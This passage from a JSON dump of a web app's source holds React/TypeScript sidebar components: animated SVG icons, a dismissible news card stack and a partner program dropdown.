stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/icons/cursor-rays.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { SVGProps, useEffect, useRef } from \"react\";\n\nexport function CursorRays({\n  \"data-hovered\": hovered,\n  className,\n  ...rest\n}: { \"data-hovered\"?: boolean } & SVGProps<SVGSVGElement>) {\n  const cursorRef = useRef<SVGGElement>(null);\n  const raysRef = useRef<SVGGElement>(null);\n\n  useEffect(() => {\n    if (!raysRef.current || !cursorRef.current) return;\n\n    if (hovered) {\n      raysRef.current.animate(\n        [\n          { transform: \"scale(1)\", opacity: 1 },\n          { transform: \"scale(1.15)\", opacity: 1 },\n          { transform: \"scale(1.3)\", opacity: 0 },\n          { transform: \"scale(1)\", opacity: 0 },\n          { transform: \"scale(1)\", opacity: 1 },\n        ],\n        {\n          duration: 300,\n        },\n      );\n\n      cursorRef.current.animate(\n        [\n          { transform: \"translate(0, 0)\" },\n          { transform: \"translate(1px, 1px)\" },\n          { transform: \"translate(0, 0)\" },\n        ],\n        {\n          duration: 300,\n        },\n      );\n    }\n  }, [hovered]);\n\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={cn(\"overflow-visible\", className)}\n      {...rest}\n    >\n      <g fill=\"currentColor\">\n        <g ref={cursorRef}>\n          <path\n            d=\"M8.095,7.778l7.314,2.51c.222,.076,.226,.388,.007,.47l-3.279,1.233c-.067,.025-.121,.079-.146,.146l-1.233,3.279c-.083,.219-.394,.215-.47-.007l-2.51-7.314c-.068-.197,.121-.385,.318-.318Z\"\n            fill=\"none\"\n            stroke=\"currentColor\"\n            strokeLinecap=\"round\"\n            strokeLinejoin=\"round\"\n            strokeWidth=\"1.5\"\n          />\n          <line\n            fill=\"none\"\n            stroke=\"currentColor\"\n            strokeLinecap=\"round\"\n            strokeLinejoin=\"round\"\n            strokeWidth=\"1.5\"\n            x1=\"12.031\"\n            x2=\"16.243\"\n            y1=\"12.031\"\n            y2=\"16.243\"\n          />\n        </g>\n        <g\n          ref={raysRef}\n          className=\"[transform-box:fill-box] [transform-origin:center] [&_*]:[vector-effect:non-scaling-stroke]\"\n        >\n          <line\n            fill=\"none\"\n            stroke=\"currentColor\"\n            strokeLinecap=\"round\"\n            strokeLinejoin=\"round\"\n            strokeWidth=\"1.5\"\n            x1=\"7.75\"\n            x2=\"7.75\"\n            y1=\"1.75\"\n            y2=\"3.75\"\n          />\n          <line\n            fill=\"none\"\n            stroke=\"currentColor\"\n            strokeLinecap=\"round\"\n            strokeLinejoin=\"round\"\n            strokeWidth=\"1.5\"\n            x1=\"11.993\"\n            x2=\"10.578\"\n            y1=\"3.507\"\n            y2=\"4.922\"\n          />\n          <line\n            fill=\"none\"\n            stroke=\"currentColor\"\n            strokeLinecap=\"round\"\n            strokeLinejoin=\"round\"\n            strokeWidth=\"1.5\"\n            x1=\"3.507\"\n            x2=\"4.922\"\n            y1=\"11.993\"\n            y2=\"10.578\"\n          />\n          <line\n            fill=\"none\"\n            stroke=\"currentColor\"\n            strokeLinecap=\"round\"\n            strokeLinejoin=\"round\"\n            strokeWidth=\"1.5\"\n            x1=\"1.75\"\n            x2=\"3.75\"\n            y1=\"7.75\"\n            y2=\"7.75\"\n          />\n          <line\n            fill=\"none\"\n            stroke=\"currentColor\"\n            strokeLinecap=\"round\"\n            strokeLinejoin=\"round\"\n            strokeWidth=\"1.5\"\n            x1=\"3.507\"\n            x2=\"4.922\"\n            y1=\"3.507\"\n            y2=\"4.922\"\n          />\n        </g>\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/icons/gear.tsx",
    "content": "import { SVGProps, useEffect, useRef } from \"react\";\n\nexport function Gear({\n  \"data-hovered\": hovered,\n  ...rest\n}: { \"data-hovered\"?: boolean } & SVGProps<SVGSVGElement>) {\n  const ref = useRef<SVGSVGElement>(null);\n\n  useEffect(() => {\n    if (!ref.current) return;\n\n    if (hovered) {\n      ref.current.animate(\n        [{ transform: \"rotate(0)\" }, { transform: \"rotate(180deg)\" }],\n        {\n          duration: 300,\n        },\n      );\n    }\n  }, [hovered]);\n\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      ref={ref}\n      {...rest}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"2.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M16.25,9.355v-.71c0-.51-.383-.938-.89-.994l-1.094-.122-.503-1.214,.688-.859c.318-.398,.287-.971-.074-1.332l-.502-.502c-.36-.36-.934-.392-1.332-.074l-.859,.688-1.214-.503-.122-1.094c-.056-.506-.484-.89-.994-.89h-.71c-.51,0-.938,.383-.994,.89l-.122,1.094-1.214,.503-.859-.687c-.398-.318-.971-.287-1.332,.074l-.502,.502c-.36,.36-.392,.934-.074,1.332l.688,.859-.503,1.214-1.094,.122c-.506,.056-.89,.484-.89,.994v.71c0,.51,.383,.938,.89,.994l1.094,.122,.503,1.214-.687,.859c-.318,.398-.287,.972,.074,1.332l.502,.502c.36,.36,.934,.392,1.332,.074l.859-.688,1.214,.503,.122,1.094c.056,.506,.484,.89,.994,.89h.71c.51,0,.938-.383,.994-.89l.122-1.094,1.214-.503,.859,.688c.398,.318,.971,.287,1.332-.074l.502-.502c.36-.36,.392-.934,.074-1.332l-.687-.859,.503-1.214,1.094-.122c.506-.056,.89-.484,.89-.994Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/icons/hyperlink.tsx",
    "content": "import { SVGProps, useEffect, useRef } from \"react\";\n\nexport function Hyperlink({\n  \"data-hovered\": hovered,\n  ...rest\n}: { \"data-hovered\"?: boolean } & SVGProps<SVGSVGElement>) {\n  const ref = useRef<SVGSVGElement>(null);\n\n  useEffect(() => {\n    if (!ref.current) return;\n\n    if (hovered) {\n      ref.current.animate(\n        [\n          { transform: \"rotate(0deg)\" },\n          { transform: \"rotate(10deg)\" },\n          { transform: \"rotate(-10deg)\" },\n          { transform: \"rotate(0deg)\" },\n        ],\n        {\n          duration: 300,\n        },\n      );\n    }\n  }, [hovered]);\n\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      ref={ref}\n      {...rest}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M12.188,16.484c-1.097,0-2.192-.417-3.026-1.252l-2.175-2.175c-1.671-1.671-1.671-4.39,0-6.061,.356-.356,.753-.637,1.19-.846,.371-.18,.82-.021,1,.354,.179,.374,.021,.821-.354,1-.283,.135-.541,.318-.766,.543-1.096,1.096-1.096,2.863-.01,3.95l2.175,2.175c1.086,1.085,2.853,1.086,3.939,0,1.096-1.096,1.096-2.863,.01-3.949l-.931-.931c-.293-.293-.293-.768,0-1.061s.768-.293,1.061,0l.931,.931c1.671,1.671,1.671,4.389,0,6.06-.842,.842-1.944,1.262-3.044,1.262Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M9.501,11.923c-.28,0-.548-.157-.677-.427-.179-.374-.021-.821,.354-1,.283-.135,.541-.318,.766-.543,1.096-1.096,1.096-2.863,.01-3.95l-2.175-2.175c-1.085-1.085-2.853-1.086-3.939,0-1.096,1.096-1.096,2.863-.01,3.949l.931,.931c.293,.293,.293,.768,0,1.061s-.768,.293-1.061,0l-.931-.931c-1.671-1.671-1.671-4.389,0-6.06,1.682-1.681,4.4-1.682,6.07-.01l2.175,2.175c1.671,1.671,1.671,4.39,0,6.061-.356,.356-.753,.637-1.19,.846-.104,.05-.214,.073-.323,.073Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/icons/lines-y.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { SVGProps, useEffect, useRef } from \"react\";\n\nconst SCALES = [0.3, 1.5, 1.75, 0.75];\n\nexport function LinesY({\n  \"data-hovered\": hovered,\n  className,\n  ...rest\n}: { \"data-hovered\"?: boolean } & SVGProps<SVGSVGElement>) {\n  const line1Ref = useRef<SVGLineElement>(null);\n  const line2Ref = useRef<SVGLineElement>(null);\n  const line3Ref = useRef<SVGLineElement>(null);\n  const line4Ref = useRef<SVGLineElement>(null);\n\n  useEffect(() => {\n    if (!hovered) return;\n\n    [line1Ref, line2Ref, line3Ref, line4Ref].forEach((ref, idx) => {\n      if (!ref.current) return;\n\n      ref.current.animate(\n        [\n          { transform: \"scaleY(1)\" },\n          { transform: `scaleY(${SCALES[idx]})` },\n          { transform: \"scaleY(1)\" },\n        ],\n        {\n          delay: idx * 50,\n          duration: 400,\n        },\n      );\n    });\n  }, [hovered]);\n\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={cn(\n        \"[&_line]:origin-bottom [&_line]:[transform-box:stroke-box]\",\n        className,\n      )}\n      {...rest}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2.75\"\n          x2=\"2.75\"\n          y1=\"2.75\"\n          y2=\"15.25\"\n          ref={line1Ref}\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"7\"\n          x2=\"7\"\n          y1=\"7.75\"\n          y2=\"15.25\"\n          ref={line2Ref}\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"11\"\n          x2=\"11\"\n          y1=\"11.75\"\n          y2=\"15.25\"\n          ref={line3Ref}\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"15.25\"\n          x2=\"15.25\"\n          y1=\"4.75\"\n          y2=\"15.25\"\n          ref={line4Ref}\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/icons/user.tsx",
    "content": "import { SVGProps, useEffect, useRef } from \"react\";\n\nexport function User({\n  \"data-hovered\": hovered,\n  ...rest\n}: { \"data-hovered\"?: boolean } & SVGProps<SVGSVGElement>) {\n  const headRef = useRef<SVGCircleElement>(null);\n  const bodyRef = useRef<SVGPathElement>(null);\n\n  useEffect(() => {\n    if (!headRef.current || !bodyRef.current) return;\n\n    if (hovered) {\n      headRef.current.animate(\n        [\n          { transform: \"translateY(0)\" },\n          { transform: \"translateY(-10%)\" },\n          { transform: \"translateY(0)\" },\n        ],\n        {\n          duration: 300,\n        },\n      );\n\n      bodyRef.current.animate(\n        [\n          { transform: \"scaleX(1)\" },\n          { transform: \"scaleX(1.15)\" },\n          { transform: \"scaleX(1)\" },\n        ],\n        {\n          duration: 300,\n        },\n      );\n    }\n  }, [hovered]);\n\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...rest}>\n      <g fill=\"currentColor\">\n        <circle\n          ref={headRef}\n          cx=\"9\"\n          cy=\"4.5\"\n          fill=\"none\"\n          r=\"2.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          className=\"[transform-box:fill-box] [transform-origin:center] [&_*]:[vector-effect:non-scaling-stroke]\"\n        />\n        <path\n          ref={bodyRef}\n          d=\"M13.762,15.516c.86-.271,1.312-1.221,.947-2.045-.97-2.191-3.159-3.721-5.709-3.721s-4.739,1.53-5.709,3.721c-.365,.825,.087,1.774,.947,2.045,1.225,.386,2.846,.734,4.762,.734s3.537-.348,4.762-.734Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          className=\"[transform-box:fill-box] [transform-origin:center] [&_*]:[vector-effect:non-scaling-stroke]\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/news-rsc.tsx",
    "content": "import { getContentAPI } from \"@/lib/fetchers/get-content-api\";\nimport { ClientOnly } from \"@dub/ui\";\nimport { News, NewsArticle } from \"./news\";\n\nexport async function NewsRSC() {\n  const { latestNewsArticles } = await getContentAPI();\n\n  return (\n    <ClientOnly>\n      <News\n        articles={\n          (Array.isArray(latestNewsArticles)\n            ? latestNewsArticles\n            : []) as NewsArticle[]\n        }\n      />\n    </ClientOnly>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/news.tsx",
    "content": "\"use client\";\n\nimport { useLocalStorage, useMediaQuery } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Image from \"next/image\";\nimport Link from \"next/link\";\nimport { CSSProperties, SVGProps, useEffect, useRef, useState } from \"react\";\n\nexport interface NewsArticle {\n  href: string;\n  title: string;\n  summary: string;\n  image: string;\n}\n\nconst OFFSET_FACTOR = 4;\nconst SCALE_FACTOR = 0.03;\nconst OPACITY_FACTOR = 0.1;\n\nexport function News({ articles }: { articles: NewsArticle[] }) {\n  const [dismissedNews, setDismissedNews] = useLocalStorage<string[]>(\n    \"dismissed-news\",\n    [],\n  );\n\n  const cards = articles.filter(({ href }) => !dismissedNews.includes(href));\n  const cardCount = cards.length;\n\n  const [showCompleted, setShowCompleted] = useState(cardCount > 0);\n\n  useEffect(() => {\n    let timeout: NodeJS.Timeout | undefined = undefined;\n    if (cardCount === 0)\n      timeout = setTimeout(() => setShowCompleted(false), 2700);\n\n    return () => clearTimeout(timeout);\n  }, [cardCount]);\n\n  return cards.length || showCompleted ? (\n    <div\n      className=\"group overflow-hidden border-t border-neutral-200 p-3 pt-6 transition-all duration-200 hover:pt-10\"\n      data-active={cardCount !== 0}\n    >\n      <div className=\"relative size-full\">\n        {cards.toReversed().map(({ href, title, summary, image }, idx) => (\n          <div\n            key={href}\n            className={cn(\n              \"absolute left-0 top-0 size-full scale-[var(--scale)] transition-[opacity,transform] duration-200\",\n              cardCount - idx > 3\n                ? [\n                    \"opacity-0 sm:group-hover:translate-y-[var(--y)] sm:group-hover:opacity-[var(--opacity)]\",\n                    \"sm:group-has-[*[data-dragging=true]]:translate-y-[var(--y)] sm:group-has-[*[data-dragging=true]]:opacity-[var(--opacity)]\",\n                  ]\n                : \"translate-y-[var(--y)] opacity-[var(--opacity)]\",\n            )}\n            style={\n              {\n                \"--y\": `-${(cardCount - (idx + 1)) * OFFSET_FACTOR}%`,\n                \"--scale\": 1 - (cardCount - (idx + 1)) * SCALE_FACTOR,\n                \"--opacity\":\n                  // Hide cards that are too far down (will show top 6)\n                  cardCount - (idx + 1) >= 6\n                    ? 0\n                    : 1 - (cardCount - (idx + 1)) * OPACITY_FACTOR,\n              } as CSSProperties\n            }\n            aria-hidden={idx !== cardCount - 1}\n          >\n            <NewsCard\n              key={idx}\n              title={title}\n              description={summary}\n              image={image}\n              href={href}\n              hideContent={cardCount - idx > 2}\n              active={idx === cardCount - 1}\n              onDismiss={\n                () => setDismissedNews([href, ...dismissedNews.slice(0, 50)]) // Limit to keep storage size low\n              }\n            />\n          </div>\n        ))}\n        <div className=\"pointer-events-none invisible\" aria-hidden>\n          <NewsCard title=\"Title\" description=\"Description\" />\n        </div>\n        {showCompleted && !cardCount && (\n          <div\n            className=\"animate-slide-up-fade absolute inset-0 flex size-full flex-col items-center justify-center gap-3 [animation-duration:1s]\"\n            style={{ \"--offset\": \"10px\" } as CSSProperties}\n          >\n            <div className=\"animate-fade-in absolute inset-0 rounded-lg border border-neutral-300 [animation-delay:2.3s] [animation-direction:reverse] [animation-duration:0.2s]\" />\n            <AnimatedLogo className=\"w-1/3 text-neutral-500\" />\n            <span className=\"animate-fade-in text-xs font-medium text-neutral-500 [animation-delay:2.3s] [animation-direction:reverse] [animation-duration:0.2s]\">\n              You're all caught up!\n            </span>\n          </div>\n        )}\n      </div>\n    </div>\n  ) : null;\n}\n\nfunction NewsCard({\n  title,\n  description,\n  image,\n  onDismiss,\n  hideContent,\n  href,\n  active,\n}: {\n  title: string;\n  description: string;\n  image?: string;\n  onDismiss?: () => void;\n  hideContent?: boolean;\n  href?: string;\n  active?: boolean;\n}) {\n  const { isMobile } = useMediaQuery();\n\n  const ref = useRef<HTMLDivElement>(null);\n  const drag = useRef<{\n    start: number;\n    delta: number;\n    startTime: number;\n    maxDelta: number;\n  }>({\n    start: 0,\n    delta: 0,\n    startTime: 0,\n    maxDelta: 0,\n  });\n  const animation = useRef<Animation>(undefined);\n  const [dragging, setDragging] = useState(false);\n\n  const onDragMove = (e: PointerEvent) => {\n    if (!ref.current) return;\n    const { clientX } = e;\n    const dx = clientX - drag.current.start;\n    drag.current.delta = dx;\n    drag.current.maxDelta = Math.max(drag.current.maxDelta, Math.abs(dx));\n    ref.current.style.setProperty(\"--dx\", dx.toString());\n  };\n\n  const dismiss = () => {\n    if (!ref.current) return;\n\n    const cardWidth = ref.current.getBoundingClientRect().width;\n    const translateX = Math.sign(drag.current.delta) * cardWidth;\n\n    // Dismiss card\n    animation.current = ref.current.animate(\n      { opacity: 0, transform: `translateX(${translateX}px)` },\n      { duration: 150, easing: \"ease-in-out\", fill: \"forwards\" },\n    );\n    animation.current.onfinish = () => onDismiss?.();\n  };\n\n  const stopDragging = (canceled: boolean) => {\n    if (!ref.current) return;\n    unbindListeners();\n    setDragging(false);\n\n    const dx = drag.current.delta;\n    if (Math.abs(dx) > ref.current.clientWidth / (canceled ? 2 : 3)) {\n      dismiss();\n      return;\n    }\n\n    // Animate back to original position\n    animation.current = ref.current.animate(\n      { transform: \"translateX(0)\" },\n      { duration: 150, easing: \"ease-in-out\" },\n    );\n    animation.current.onfinish = () =>\n      ref.current?.style.setProperty(\"--dx\", \"0\");\n\n    drag.current = { start: 0, delta: 0, startTime: 0, maxDelta: 0 };\n  };\n\n  const onDragEnd = () => stopDragging(false);\n  const onDragCancel = () => stopDragging(true);\n\n  const onPointerDown = (e: React.PointerEvent) => {\n    if (!active || !ref.current || animation.current?.playState === \"running\")\n      return;\n\n    bindListeners();\n    setDragging(true);\n    drag.current.start = e.clientX;\n    drag.current.startTime = Date.now();\n    drag.current.delta = 0;\n    ref.current.style.setProperty(\"--w\", ref.current.clientWidth.toString());\n  };\n\n  const onClick = () => {\n    if (!ref.current) return;\n    if (\n      isMobile &&\n      drag.current.maxDelta < ref.current.clientWidth / 10 &&\n      (!drag.current.startTime || Date.now() - drag.current.startTime < 250)\n    ) {\n      // Touch user didn't drag far or for long, open the link\n      window.open(href, \"_blank\");\n    }\n  };\n\n  const bindListeners = () => {\n    document.addEventListener(\"pointermove\", onDragMove);\n    document.addEventListener(\"pointerup\", onDragEnd);\n    document.addEventListener(\"pointercancel\", onDragCancel);\n  };\n\n  const unbindListeners = () => {\n    document.removeEventListener(\"pointermove\", onDragMove);\n    document.removeEventListener(\"pointerup\", onDragEnd);\n    document.removeEventListener(\"pointercancel\", onDragCancel);\n  };\n\n  return (\n    <div\n      ref={ref}\n      className={cn(\n        \"relative select-none gap-2 rounded-lg border border-neutral-200 bg-white p-3 text-[0.8125rem]\",\n        \"translate-x-[calc(var(--dx)*1px)] rotate-[calc(var(--dx)*0.05deg)] opacity-[calc(1-max(var(--dx),-1*var(--dx))/var(--w)/2)]\",\n        \"transition-shadow data-[dragging=true]:shadow-[0_4px_12px_0_#0000000D]\",\n      )}\n      data-dragging={dragging}\n      onPointerDown={onPointerDown}\n      onClick={onClick}\n    >\n      <div className={cn(hideContent && \"invisible\")}>\n        <div className=\"flex flex-col gap-1\">\n          <span className=\"line-clamp-1 font-medium text-neutral-900\">\n            {title}\n          </span>\n          <p className=\"line-clamp-2 h-10 leading-5 text-neutral-500\">\n            {description}\n          </p>\n        </div>\n        <div className=\"relative mt-3 aspect-[16/9] w-full shrink-0 overflow-hidden rounded border border-neutral-200 bg-neutral-100\">\n          {image && (\n            <Image\n              src={image}\n              alt=\"\"\n              fill\n              sizes=\"10vw\"\n              className=\"rounded object-cover object-center\"\n              draggable={false}\n            />\n          )}\n        </div>\n        <div\n          className={cn(\n            \"h-0 overflow-hidden opacity-0 transition-[height,opacity] duration-200\",\n            \"sm:group-has-[*[data-dragging=true]]:h-7 sm:group-has-[*[data-dragging=true]]:opacity-100 sm:group-hover:group-data-[active=true]:h-7 sm:group-hover:group-data-[active=true]:opacity-100\",\n          )}\n        >\n          <div className=\"flex items-center justify-between pt-3 text-xs\">\n            <Link\n              href={href || \"https://dub.co\"}\n              target=\"_blank\"\n              className=\"font-medium text-neutral-700 transition-colors duration-75 hover:text-neutral-900\"\n            >\n              Read more\n            </Link>\n            <button\n              type=\"button\"\n              onClick={dismiss}\n              className=\"text-neutral-600 transition-colors duration-75 hover:text-neutral-900\"\n            >\n              Dismiss\n            </button>\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction AnimatedLogo(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      viewBox=\"0 0 48 21\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M12 1H15V12.9332C15.0001 12.9465 15.0002 12.9598 15.0003 12.9731C15.0003 12.982 15.0003 12.991 15.0003 13C15.0003 13.0223 15.0002 13.0445 15 13.0668V20H12V18.7455C10.8662 19.5362 9.48733 20 8.00016 20C4.13408 20 1 16.866 1 13C1 9.13401 4.13408 6 8.00016 6C9.48733 6 10.8662 6.46375 12 7.25452V1ZM8 16.9998C10.2091 16.9998 12 15.209 12 12.9999C12 10.7908 10.2091 9 8 9C5.79086 9 4 10.7908 4 12.9999C4 15.209 5.79086 16.9998 8 16.9998Z\"\n        stroke=\"currentColor\"\n        stroke-dasharray=\"63\"\n        stroke-linecap=\"round\"\n      >\n        <animate\n          attributeName=\"stroke-dashoffset\"\n          dur=\"2500ms\"\n          values=\"63;0;0;0;63\"\n          fill=\"freeze\"\n        />\n      </path>\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M17 6H20V13V13C20 14.0608 20.4215 15.0782 21.1716 15.8283C21.9217 16.5784 22.9391 16.9998 24 16.9998C25.0609 16.9998 26.0783 16.5784 26.8284 15.8283C27.5785 15.0782 28 14.0608 28 13C28 13 28 13 28 13V6H31V13H31.0003C31.0003 13.9192 30.8192 14.8295 30.4675 15.6788C30.1157 16.5281 29.6 17.2997 28.95 17.9497C28.3 18.5997 27.5283 19.1154 26.679 19.4671C25.8297 19.8189 24.9194 20 24.0002 20C23.0809 20 22.1706 19.8189 21.3213 19.4671C20.472 19.1154 19.7003 18.5997 19.0503 17.9497C18.4003 17.2997 17.8846 16.5281 17.5329 15.6788C17.1811 14.8295 17 13.9192 17 13V13V6Z\"\n        stroke=\"currentColor\"\n        stroke-dasharray=\"69\"\n        stroke-linecap=\"round\"\n      >\n        <animate\n          attributeName=\"stroke-dashoffset\"\n          dur=\"2500ms\"\n          values=\"69;0;0;0;69\"\n          fill=\"freeze\"\n        />\n      </path>\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M33 1H36V7.25474C37.1339 6.46383 38.5128 6 40.0002 6C43.8662 6 47.0003 9.13401 47.0003 13C47.0003 16.866 43.8662 20 40.0002 20C36.1341 20 33 16.866 33 13V1ZM40 16.9998C42.2091 16.9998 44 15.209 44 12.9999C44 10.7908 42.2091 9 40 9C37.7909 9 36 10.7908 36 12.9999C36 15.209 37.7909 16.9998 40 16.9998Z\"\n        stroke=\"currentColor\"\n        stroke-dasharray=\"60\"\n        stroke-linecap=\"round\"\n      >\n        <animate\n          attributeName=\"stroke-dashoffset\"\n          dur=\"2500ms\"\n          values=\"-60;0;0;0;-60\"\n          fill=\"freeze\"\n        />\n      </path>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/partner-program-dropdown.tsx",
    "content": "\"use client\";\n\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport useProgramEnrollments from \"@/lib/swr/use-program-enrollments\";\nimport { ProgramProps } from \"@/lib/types\";\nimport {\n  AnimatedSizeContainer,\n  BlurImage,\n  Popover,\n  ScrollContainer,\n} from \"@dub/ui\";\nimport { Check2, GridIcon, Magnifier, Shop } from \"@dub/ui/icons\";\nimport { cn, OG_AVATAR_URL } from \"@dub/utils\";\nimport { Command } from \"cmdk\";\nimport { ChevronsUpDown } from \"lucide-react\";\nimport Link from \"next/link\";\nimport {\n  useParams,\n  usePathname,\n  useRouter,\n  useSearchParams,\n} from \"next/navigation\";\nimport { useCallback, useMemo, useState } from \"react\";\n\nexport function PartnerProgramDropdown() {\n  const { programSlug } = useParams() as { programSlug?: string };\n\n  const { partner } = usePartnerProfile();\n  const { programEnrollments } = useProgramEnrollments();\n\n  const selectedProgram = useMemo(() => {\n    const program = programEnrollments?.find(\n      (programEnrollment) => programEnrollment.program.slug === programSlug,\n    );\n\n    return programSlug && program\n      ? {\n          ...program.program,\n          logo:\n            program.program.logo || `${OG_AVATAR_URL}${program.program.name}`,\n          status: program.status,\n        }\n      : undefined;\n  }, [programSlug, programEnrollments]);\n\n  const [openPopover, setOpenPopover] = useState(false);\n\n  if (!partner || (programSlug && !programEnrollments)) {\n    return <PartnerDropdownPlaceholder />;\n  }\n\n  return (\n    <div>\n      <Popover\n        content={\n          <div className=\"w-full sm:w-64\">\n            {programEnrollments &&\n              programEnrollments.filter(\n                (programEnrollment) => programEnrollment.status === \"approved\",\n              ).length > 0 && (\n                <div className=\"border-b border-neutral-200\">\n                  <ProgramList\n                    selectedProgram={selectedProgram}\n                    programs={programEnrollments\n                      .filter(\n                        (programEnrollment) =>\n                          programEnrollment.status === \"approved\",\n                      )\n                      .map((programEnrollment) => programEnrollment.program)}\n                    setOpenPopover={setOpenPopover}\n                  />\n                </div>\n              )}\n            <div className=\"p-2\">\n              <div className=\"mt-0.5 flex flex-col gap-0.5\">\n                <Link\n                  href=\"/programs\"\n                  className={cn(\n                    \"flex items-center gap-x-2.5 rounded-md px-2.5 py-2 text-base transition-all duration-75 hover:bg-neutral-200/50 active:bg-neutral-200/80 sm:text-sm\",\n                    \"outline-none focus-visible:ring-2 focus-visible:ring-black/50\",\n                  )}\n                  onClick={() => setOpenPopover(false)}\n                >\n                  <GridIcon className=\"size-5 text-neutral-500 sm:size-4\" />\n                  <span className=\"text-content-default block truncate\">\n                    All programs\n                  </span>\n                </Link>\n                <Link\n                  href=\"/programs/marketplace\"\n                  className={cn(\n                    \"flex items-center gap-x-2.5 rounded-md px-2.5 py-2 text-base transition-all duration-75 hover:bg-neutral-200/50 active:bg-neutral-200/80 sm:text-sm\",\n                    \"outline-none focus-visible:ring-2 focus-visible:ring-black/50\",\n                  )}\n                  onClick={() => setOpenPopover(false)}\n                >\n                  <Shop className=\"size-5 text-neutral-500 sm:size-4\" />\n                  <span className=\"text-content-default block truncate\">\n                    Marketplace\n                  </span>\n                </Link>\n              </div>\n            </div>\n          </div>\n        }\n        align=\"start\"\n        openPopover={openPopover}\n        setOpenPopover={setOpenPopover}\n      >\n        <button\n          onClick={() => setOpenPopover(!openPopover)}\n          className={cn(\n            \"flex w-full items-center justify-between rounded-lg px-2 py-1.5 text-left text-sm transition-all duration-75 hover:bg-neutral-200/50 active:bg-neutral-200/80 data-[state=open]:bg-neutral-200/80\",\n            \"outline-none focus-visible:ring-2 focus-visible:ring-black/50\",\n          )}\n        >\n          <div className=\"flex min-w-0 items-center gap-x-2.5 pr-2\">\n            {selectedProgram?.logo && (\n              <BlurImage\n                src={selectedProgram.logo}\n                referrerPolicy=\"no-referrer\"\n                width={40}\n                height={40}\n                alt={selectedProgram.name}\n                className=\"size-5 flex-none shrink-0 overflow-hidden rounded-full\"\n              />\n            )}\n            <div className=\"text-content-emphasis min-w-0 truncate text-lg font-semibold\">\n              {selectedProgram?.name || \"All programs\"}\n            </div>\n          </div>\n          <ChevronsUpDown\n            className=\"size-4 shrink-0 text-neutral-400\"\n            aria-hidden=\"true\"\n          />\n        </button>\n      </Popover>\n    </div>\n  );\n}\n\nfunction PartnerDropdownPlaceholder() {\n  return (\n    <div className=\"flex w-full animate-pulse items-center gap-x-2.5 rounded-lg px-2 py-1.5\">\n      <div className=\"size-6 animate-pulse rounded-full bg-neutral-200\" />\n      <div className=\"h-7 w-28 grow animate-pulse rounded-md bg-neutral-200\" />\n      <ChevronsUpDown className=\"h-4 w-4 text-neutral-400\" aria-hidden=\"true\" />\n    </div>\n  );\n}\n\nfunction ProgramList({\n  programs,\n  selectedProgram,\n  setOpenPopover,\n}: {\n  programs: ProgramProps[];\n  selectedProgram?: ProgramProps;\n  setOpenPopover: (open: boolean) => void;\n}) {\n  const router = useRouter();\n  const 